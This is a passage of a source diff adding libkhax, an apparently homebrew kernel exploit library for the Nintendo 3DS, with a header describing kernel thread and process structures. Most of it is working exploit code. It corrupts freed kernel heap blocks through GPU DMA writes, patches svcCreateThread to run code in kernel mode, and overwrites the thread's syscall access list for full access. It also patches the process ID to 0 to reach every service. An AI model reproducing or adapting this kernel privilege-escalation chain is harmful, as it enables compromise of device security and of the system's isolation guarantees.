Invalid step number %d for Step1_Initialize\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Nothing to do in current implementation. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Allocate linear memory for the memchunkhax operation. +Result KHAX::MemChunkHax::Step2_AllocateMemory() +{ + if (m_nextStep != 2) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Allocate the linear memory for the overwrite process. + u32 address = 0xFFFFFFFF; + Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR, + static_cast(MEMPERM_READ | MEMPERM_WRITE)); + + KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address); + + if (result != 0) + { + return result; + } + + m_overwriteMemory = reinterpret_cast(address); + m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now + + // Why didn't we get a page-aligned address?! + if (address & 0xFFF) + { + // Since we already assigned m_overwriteMemory, it'll get freed by our destructor. + KHAX_printf("Step2:misaligned memory\n"); + return MakeError(26, 7, KHAX_MODULE, 1009); + } + + // Allocate extra memory that we'll need. + m_extraLinear = static_cast(linearMemAlign(sizeof(*m_extraLinear), + alignof(*m_extraLinear))); + if (!m_extraLinear) + { + KHAX_printf("Step2:failed extra alloc\n"); + return MakeError(26, 3, KHAX_MODULE, 1011); + } + KHAX_printf("Step2:extra=%p\n", m_extraLinear); + + // OK, we're good here. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Free the second and fourth pages of the five. +Result KHAX::MemChunkHax::Step3_SurroundFree() +{ + if (m_nextStep != 3) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // We do this because the exploit involves triggering a heap coalesce. We surround a heap + // block (page) with two freed pages, then free the middle page. By controlling both outside + // pages, we know their addresses, and can fix up the corrupted heap afterward. + // + // Here's what the heap will look like after step 3: + // + // ___XX-X-X___ + // + // _ = unknown (could be allocated and owned by other code) + // X = allocated + // - = allocated then freed by us + // + // In step 4, we will free the second page: + // + // ___X--X-X___ + // + // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's + // "previous" pointer will be set to point to the second page rather than the third. We will + // use gspwn to make that overwrite kernel code instead. + // + // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little + // sandbox to play in. In particular, we can use this design to determine the address of the + // next block--by controlling the location of the next block. + u32 dummy; + + // Free the third page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[2]), 0, + sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM1 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 2); + + // Free the fifth page. + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[4]), 0, + sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step3:svcCM2 failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 4); + + // Attempt to write to remaining pages. + //KHAX_printf("Step2:probing page [0]\n"); + *static_cast(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [1]\n"); + *static_cast(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [3]\n"); + *static_cast(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0; + //KHAX_printf("Step2:probing page [5]\n"); + *static_cast(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0; + KHAX_printf("Step3:probing done\n"); + + // Done. + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Verify that the freed heap blocks' data matches our expected layout. +Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout() +{ + if (m_nextStep != 4) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Copy the first freed page (third page) out to read its heap metadata. + userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); + userDmb(); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + // Debug information about the memory block + KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2])); + KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The next page from the third should equal the fifth page. + if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4])) + { + KHAX_printf("Step4:[2]->next != [4]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]), + &m_overwriteMemory->m_pages[4]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Copy the second freed page (fifth page) out to read its heap metadata. + userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); + userDmb(); + + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4], + sizeof(*m_extraLinear))) + { + KHAX_printf("Step4:gspwn failed:%08lx\n", result); + return result; + } + + KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData-> + ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4])); + KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next, + m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count); + + // The previous page from the fifth should equal the third page. + if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[2])) + { + KHAX_printf("Step4:[4]->prev != [2]\n"); + KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev, + m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]), + &m_overwriteMemory->m_pages[2]); + return MakeError(26, 5, KHAX_MODULE, 1014); + } + + // Validation successful + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Corrupt svcCreateThread in the ARM11 kernel and create the foothold. +Result KHAX::MemChunkHax::Step5_CorruptCreateThread() +{ + if (m_nextStep != 5) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear)); + userDmb(); + + // Read the memory page we're going to gspwn. + if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn read failed:%08lx\n", result); + return result; + } + + // Adjust the "next" pointer to point to within the svcCreateThread system call so as to + // corrupt certain instructions. The result will be that calling svcCreateThread will result + // in executing our code. + // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev. + // That is, the overwrite adds this offset back in. + m_extraLinear->m_freeBlock.m_next = reinterpret_cast( + m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev)); + + userFlushDataCache(&m_extraLinear->m_freeBlock.m_next, + sizeof(m_extraLinear->m_freeBlock.m_next)); + + // Do the GSPwn, the actual exploit we've been waiting for. + if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear, + sizeof(*m_extraLinear))) + { + KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result); + return result; + } + + // The heap is now corrupted in two ways (Step6 explains why two ways). + m_corrupted += 2; + + KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n"); + + // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third + // page into the second page, and in the process zap an instruction pair in svcCreateThread. + u32 dummy; + if (Result result = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[1]), + 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast(0))) + { + KHAX_printf("Step5:free to pwn failed:%08lx\n", result); + return result; + } + m_overwriteAllocated &= ~(1u << 1); + + userFlushPrefetch(); + + // We have an additional layer of instability because of the kernel code overwrite. + ++m_corrupted; + + KHAX_printf("Step5:svcCreateThread now hacked\n"); + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Execute svcCreateThread to execute code at SVC privilege. +Result KHAX::MemChunkHax::Step6_ExecuteSVCCode() +{ + if (m_nextStep != 6) + { + KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep); + return MakeError(28, 5, KHAX_MODULE, 1016); + } + + // Call svcCreateThread such that r0 is the desired exploit function. Note that the + // parameters to the usual system call thunk are rearranged relative to the actual system call + // - the thread priority parameter is actually the one that goes into r0. In addition, we + // want to pass other parameters that make for an illegal thread creation request, because the + // rest of the thread creation SVC occurs before the hacked code gets executed. We want the + // thread creation request to fail, then the hack to grant us control. Processor ID + // 0x7FFFFFFF seems to do the trick here. + Handle dummyHandle; + Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast( + Step6a_SVCEntryPointThunk), (std::numeric_limits::max)()); + + KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep); + + if (result != STEP6_SUCCESS_RESULT) + { + // If the result was 0, something actually went wrong. + if (result == 0) + { + result = MakeError(27, 11, KHAX_MODULE, 1023); + } + + return result; + } + +#ifdef KHAX_DEBUG + char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1]; + char *sp = oldACLString; + for (unsigned char b : m_oldACL) + { + *sp++ = "0123456789abcdef"[b >> 4]; + *sp++ = "0123456789abcdef"[b & 15]; + } + *sp = '\0'; + + KHAX_printf("oldACL:%s\n", oldACLString); +#endif + + ++m_nextStep; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point thunk (true entry point). +#ifndef _MSC_VER +__attribute__((__naked__)) +#endif +Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk() +{ + __asm__ volatile("cpsid aif\n" + "add sp, sp, #8\n"); + + register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint(); + + __asm__ volatile("ldr pc, [sp], #4" : : "r"(result)); +} + +//------------------------------------------------------------------------------------------------ +// SVC-mode entry point. +#ifndef _MSC_VER +__attribute__((__noinline__)) +#endif +Result KHAX::MemChunkHax::Step6b_SVCEntryPoint() +{ + if (Result result = Step6c_UndoCreateThreadPatch()) + { + return result; + } + if (Result result = Step6d_FixHeapCorruption()) + { + return result; + } + if (Result result = Step6e_GrantSVCAccess()) + { + return result; + } + + return STEP6_SUCCESS_RESULT; +} + +//------------------------------------------------------------------------------------------------ +// Undo the code patch that Step5_CorruptCreateThread did. +Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch() +{ + // Unpatch svcCreateThread. NOTE: Misaligned pointer. + *reinterpret_cast(m_versionData->m_threadPatchAddress) = m_versionData-> + m_threadPatchOriginalCode; + + kernelCleanDataCacheLineWithMva( + reinterpret_cast(m_versionData->m_threadPatchAddress)); + userDsb(); + kernelInvalidateInstructionCacheLineWithMva( + reinterpret_cast(m_versionData->m_threadPatchAddress)); + + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Fix the heap corruption caused as a side effect of step 5. +Result KHAX::MemChunkHax::Step6d_FixHeapCorruption() +{ + // The kernel's heap coalesce code seems to be like the following for the case we triggered, + // where we're freeing a block before ("left") an adjacent block ("right"): + // + // (1) left->m_count += right->m_count; + // (2) left->m_next = right->m_next; + // (3) right->m_next->m_prev = left; + // + // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point + // to where we want to patch, such that the write to m_prev is the desired code overwrite. + // (2) is copying the value we put into right->m_next to accomplish (3). + // + // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to + // point to the correct next free block, and do the write to right->m_next->m_prev that didn't + // happen because it instead was writing to kernel code. + + // "left" is the second overwrite page. + auto left = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[1].m_freeBlock)); + // "right->m_next" is the fifth overwrite page. + auto rightNext = static_cast(m_versionData->ConvertLinearUserVAToKernelVA( + &m_overwriteMemory->m_pages[4].m_freeBlock)); + + // Do the two fixups. + left->m_next = rightNext; + --m_corrupted; + + rightNext->m_prev = left; + --m_corrupted; + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant our process access to all system calls, including svcBackdoor. +Result KHAX::MemChunkHax::Step6e_GrantSVCAccess() +{ + // Everything, except nonexistent services 00, 7E or 7F. + static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F"; + + // Get the KThread pointer. Its type doesn't vary, so far. + KThread *kthread = *m_versionData->m_currentKThreadPtr; + + // Debug dumping. +#ifdef KHAX_DEBUG_DUMP_DATA + // Get the KProcess pointer, whose type varies by kernel version. + void *kprocess = *m_versionData->m_currentKProcessPtr; + + void *svcData = reinterpret_cast(reinterpret_cast(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF)); + std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess)); + std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread)); + std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC)); +#endif + + // Get a pointer to the SVC ACL within the SVC area for the thread. + SVCThreadArea *svcThreadArea = ContainingRecord(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState); + KSVCACL &threadACL = svcThreadArea->m_svcAccessControl; + + // Save the old one for diagnostic purposes. + std::memcpy(m_oldACL, threadACL, sizeof(threadACL)); + + // Set the ACL for the current thread. + std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL)); + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Grant access to all services. +Result KHAX::MemChunkHax::Step7_GrantServiceAccess() +{ + // Backup the original PID. + Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); + return result; + } + + KHAX_printf("Step7:current pid=%lu\n", m_originalPID); + + // Patch the PID to 0, granting access to all services. + svcBackdoor(Step7a_PatchPID); + + // Check whether PID patching succeeded. + u32 newPID; + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + // Attempt patching back anyway, for stability reasons. + svcBackdoor(Step7b_UnpatchPID); + KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); + return result; + } + + if (newPID != 0) + { + KHAX_printf("Step7:nonzero:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + // Reinit ctrulib's srv connection to gain access to all services. + srvExit(); + srvInit(); + + // Restore the original PID now that srv has been tricked into thinking that we're PID 0. + svcBackdoor(Step7b_UnpatchPID); + + // Check whether PID restoring succeeded. + result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); + if (result != 0) + { + KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); + return result; + } + + if (newPID != m_originalPID) + { + KHAX_printf("Step7:not same:%lu\n", newPID); + return MakeError(27, 11, KHAX_MODULE, 1023); + } + + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Patch the PID to 0. +Result KHAX::MemChunkHax::Step7a_PatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers + // to translate the raw KProcess pointer into pointers into key fields, and we access the + // m_processID field from it. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = 0; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Restore the original PID. +Result KHAX::MemChunkHax::Step7b_UnpatchPID() +{ + // Disable interrupts ASAP. + // FIXME: Need a better solution for this. + __asm__ volatile("cpsid aif"); + + // Patch the PID back to the original value. + *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) + .m_processID) = s_instance->m_originalPID; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Helper for dumping memory to SD card. +template +bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const +{ + char formatted[32]; + snprintf(formatted, KHAX_lengthof(formatted), filename, + static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? + "New" : "Old"); + + bool result = true; + + FILE *file = std::fopen(formatted, "wb"); + if (file) + { + result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); + std::fclose(file); + } + else + { + result = false; + } + + return result; +} + +//------------------------------------------------------------------------------------------------ +// Free memory and such. +KHAX::MemChunkHax::~MemChunkHax() +{ + // Dump memory to SD card if that is enabled. +#ifdef KHAX_DEBUG_DUMP_DATA + if (m_nextStep > 6) + { + DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); + DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); + } +#endif + + // If we're corrupted, we're dead. + if (m_corrupted > 0) + { + KHAX_printf("~:error while corrupt;freezing\n"); + for (;;) + { + svcSleepThread(s64(60) * 1000000000); + } + } + + // This function has to be careful not to crash trying to shut down after an aborted attempt. + if (m_overwriteMemory) + { + u32 dummy; + + // Each page has a flag indicating that it is still allocated. + for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) + { + // Don't free a page unless it remains allocated. + if (m_overwriteAllocated & (1u << x)) + { + Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, + sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); + KHAX_printf("free %u: %08lx\n", x, res); + KHAX_UNUSED(res); + } + } + } + + // Free the extra linear memory. + if (m_extraLinear) + { + linearFree(m_extraLinear); + } + + // s_instance better be us + if (s_instance != this) + { + KHAX_printf("~:s_instance is wrong\n"); + } + else + { + s_instance = nullptr; + } +} + + +//------------------------------------------------------------------------------------------------ +// +// Miscellaneous +// + +//------------------------------------------------------------------------------------------------ +// Make an error code +inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) +{ + return (level << 27) + (summary << 21) + (module << 10) + error; +} + +//------------------------------------------------------------------------------------------------ +// Check whether this system is a New 3DS. +Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) +{ + // If the kernel version isn't already known by the caller, find out. + u32 kernelVersion = kernelVersionAlreadyKnown; + if (kernelVersion == 0) + { + kernelVersion = osGetKernelVersion(); + } + + // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. + if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) + { + // Check whether the system is a New 3DS. If this fails, abort, because being wrong would + // crash the system. + u8 isNew3DS = 0; + if (Result error = APT_CheckNew3DS(&isNew3DS)) + { + *answer = false; + return error; + } + + // Use the result of APT_CheckNew3DS. + *answer = isNew3DS != 0; + return 0; + } + + // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. + *answer = false; + return 0; +} + +//------------------------------------------------------------------------------------------------ +// gspwn, meant for reading from or writing to freed buffers. +Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) +{ + // Copy that floppy. + if (Result result = GX_TextureCopy(static_cast(const_cast(src)), 0, + static_cast(dest), 0, size, 8)) + { + KHAX_printf("gspwn:copy fail:%08lx\n", result); + return result; + } + + // Wait for the operation to finish. + if (wait) + { + gspWaitForPPF(); + } + + return 0; +} + +Result KHAX::userFlushDataCache(const void *p, std::size_t n) +{ + return GSPGPU_FlushDataCache(p, n); +} + +Result KHAX::userInvalidateDataCache(const void *p, std::size_t n) +{ + return GSPGPU_InvalidateDataCache(p, n); +} + +void KHAX::userFlushPrefetch() +{ + __asm__ volatile ("mcr p15, 0, %0, c7, c5, 4\n" :: "r"(0)); +} + +void KHAX::userDsb() +{ + __asm__ volatile ("mcr p15, 0, %0, c7, c10, 4\n" :: "r"(0)); +} + +void KHAX::userDmb() +{ + __asm__ volatile ("mcr p15, 0, %0, c7, c10, 5\n" :: "r"(0)); +} + +void KHAX::kernelCleanDataCacheLineWithMva(const void *p) +{ + __asm__ volatile ("mcr p15, 0, %0, c7, c10, 1\n" :: "r"(p)); +} + +void KHAX::kernelInvalidateInstructionCacheLineWithMva(const void *p) +{ + __asm__ volatile ("mcr p15, 0, %0, c7, c5, 1\n" :: "r"(p)); +} + +//------------------------------------------------------------------------------------------------ +// Given a pointer to a structure that is a member of another structure, +// return a pointer to the outer structure. Inspired by Windows macro. +template +Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) +{ + unsigned char *p = reinterpret_cast(member); + p -= reinterpret_cast(&(static_cast(nullptr)->*field)); + return reinterpret_cast(p); +} + +//------------------------------------------------------------------------------------------------ +// Main initialization function interface. +extern "C" Result khaxInit() +{ + using namespace KHAX; + +#ifdef KHAX_DEBUG + bool isNew3DS; + IsNew3DS(&isNew3DS, 0); + KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), + isNew3DS); +#endif + + // Look up the current system's version in our table. + const VersionData *versionData = VersionData::GetForCurrentSystem(); + if (!versionData) + { + KHAX_printf("khaxInit: Unknown kernel version\n"); + return MakeError(27, 6, KHAX_MODULE, 39); + } + + KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, + versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); + + // Create the hack object. + MemChunkHax hax{ versionData }; + + // Run through the steps. + if (Result result = hax.Step1_Initialize()) + { + KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step2_AllocateMemory()) + { + KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step3_SurroundFree()) + { + KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step4_VerifyExpectedLayout()) + { + KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step5_CorruptCreateThread()) + { + KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step6_ExecuteSVCCode()) + { + KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); + return result; + } + if (Result result = hax.Step7_GrantServiceAccess()) + { + KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); + return result; + } + + KHAX_printf("khaxInit: done\n"); + return 0; +} + +//------------------------------------------------------------------------------------------------ +// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything +// and frees all memory on the way out. +extern "C" Result khaxExit() +{ + return 0; +} diff --git a/ninjhax/source/libkhax/khaxinternal.h b/ninjhax/source/libkhax/khaxinternal.h new file mode 100644 index 0000000..190aaf7 --- /dev/null +++ b/ninjhax/source/libkhax/khaxinternal.h @@ -0,0 +1,337 @@ +#pragma once + +#ifdef KHAX_DEBUG + #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() +#else + #define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() +#endif + +// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never +// actually compile this program. +#ifdef _MSC_VER + #undef ALIGN + #define ALIGN(x) __declspec(align(x)) + #if _MSC_VER < 1900 + #define alignof __alignof + #endif + #define KHAX_ATTRIBUTE(...) +#else + #define KHAX_ATTRIBUTE(...) __VA_ARGS__ +#endif + +#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) +#define KHAX_UNUSED(...) static_cast(__VA_ARGS__) + +//------------------------------------------------------------------------------------------------ +namespace KHAX +{ + //------------------------------------------------------------------------------------------------ + // This code uses offsetof illegally (i.e. on polymorphic classes). + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Winvalid-offsetof" + + //------------------------------------------------------------------------------------------------ + // General linked list node kernel object. + struct KLinkedListNode + { + KLinkedListNode *next; + KLinkedListNode *prev; + void *data; + }; + static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Base class of reference-counted kernel objects. + class KAutoObject + { + public: + u32 m_refCount; // +004 + + protected: + virtual ~KAutoObject() {} + }; + static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); + static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Base class of synchronizable objects. + class KSynchronizationObject : public KAutoObject + { + public: + u32 m_threadSyncCount; // +008 + KLinkedListNode *m_threadSyncFirst; // +00C + KLinkedListNode *m_threadSyncLast; // +010 + }; + static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); + static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, + "KSynchronizationObject isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + struct KDebugThread; + struct KThreadLocalPage; + class KCodeSet; + + //------------------------------------------------------------------------------------------------ + // Unofficial name + typedef u8 KSVCACL[0x80 / 8]; + + //------------------------------------------------------------------------------------------------ + // ARM VFP register + union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister + { + float m_single[2]; + double m_double; + }; + static_assert(alignof(VFPRegister) == 0x004, + "VFPRegister isn't the expected alignment."); + static_assert(sizeof(VFPRegister) == 0x008, + "VFPRegister isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode register save area. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCRegisterState + { + u32 m_r4; // +000 + u32 m_r5; // +004 + u32 m_r6; // +008 + u32 m_r7; // +00C + u32 m_r8; // +010 + u32 m_r9; // +014 + u32 m_sl; // +018 + u32 m_fp; // +01C + u32 m_sp; // +020 + u32 m_lr; // +024 + }; + static_assert(sizeof(SVCRegisterState) == 0x028, + "SVCRegisterState isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // SVC-mode thread state structure. This is the last part of the per- + // thread page allocated in 0xFF4XX000. + // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 + struct SVCThreadArea + { + KSVCACL m_svcAccessControl; // +000 + u32 m_unknown010; // +010 + u32 m_unknown014; // +014 + SVCRegisterState m_svcRegisterState; // +018 + VFPRegister m_vfpRegisters[16]; // +040 + u32 m_unknown0C4; // +0C0 + u32 m_fpexc; // +0C4 + }; + static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, + "ThreadSVCArea isn't the expected layout."); + static_assert(sizeof(SVCThreadArea) == 0x0C8, + "ThreadSVCArea isn't the expected size."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a thread object. + class KThread : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + u32 m_unknown01C; // +01C + u32 m_unknown020; // +020 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_unknown02C; // +02C + u32 m_unknown030; // +030 + u32 m_unknown034; // +034 + KDebugThread *m_debugThread; // +038 + s32 m_threadPriority; // +03C + void *m_waitingOnObject; // +040 + u32 m_unknown044; // +044 + KThread **m_schedulerUnknown048; // +048 + void *m_arbitrationAddress; // +04C + u32 m_unknown050; // +050 + u32 m_unknown054; // +054 + u32 m_unknown058; // +058 + KLinkedListNode *m_waitingOnList; // +05C + u32 m_unknownListCount; // +060 + KLinkedListNode *m_unknownListHead; // +064 + KLinkedListNode *m_unknownListTail; // +068 + s32 m_threadPriority2; // +06C + s32 m_creatingProcessor; // +070 + u32 m_unknown074; // +074 + u32 m_unknown078; // +078 + u16 m_unknown07C; // +07C + u8 m_threadType; // +07E + u8 m_padding07F; // +07F + void *m_process; // +080 + u32 m_threadID; // +084 + SVCRegisterState *m_svcRegisterState; // +088 + void *m_svcPageEnd; // +08C + s32 m_idealProcessor; // +090 + void *m_tlsUserMode; // +094 + void *m_tlsKernelMode; // +098 + u32 m_unknown09C; // +09C + KThread *m_prev; // +0A0 + KThread *m_next; // +0A4 + KThread **m_temporaryLinkedList; // +0A8 + u32 m_unknown0AC; // +0B0 + }; + static_assert(sizeof(KThread) == 0x0B0, + "KThread isn't the expected size."); + static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, + "KThread isn't the expected layout."); + + //------------------------------------------------------------------------------------------------ + // Kernel's internal structure of a process object. + // Version 1.0.0(?) - 7.2.0 + class KProcess_1_0_0_Old : public KSynchronizationObject + { + public: + u32 m_unknown014; // +014 + u32 m_unknown018; // +018 + KThread *volatile m_interactingThread; // +01C + u16 m_unknown020; // +020 + u16 m_unknown022; // +022 + u32 m_unknown024; // +024 + u32 m_unknown028; // +028 + u32 m_memoryBlockCount; // +02C + KLinkedListNode *m_memoryBlockFirst; // +030 + KLinkedListNode *m_memoryBlockLast; // +034 + u32 m_unknown038; // +038 + u32 m_unknown03C; // +03C + void 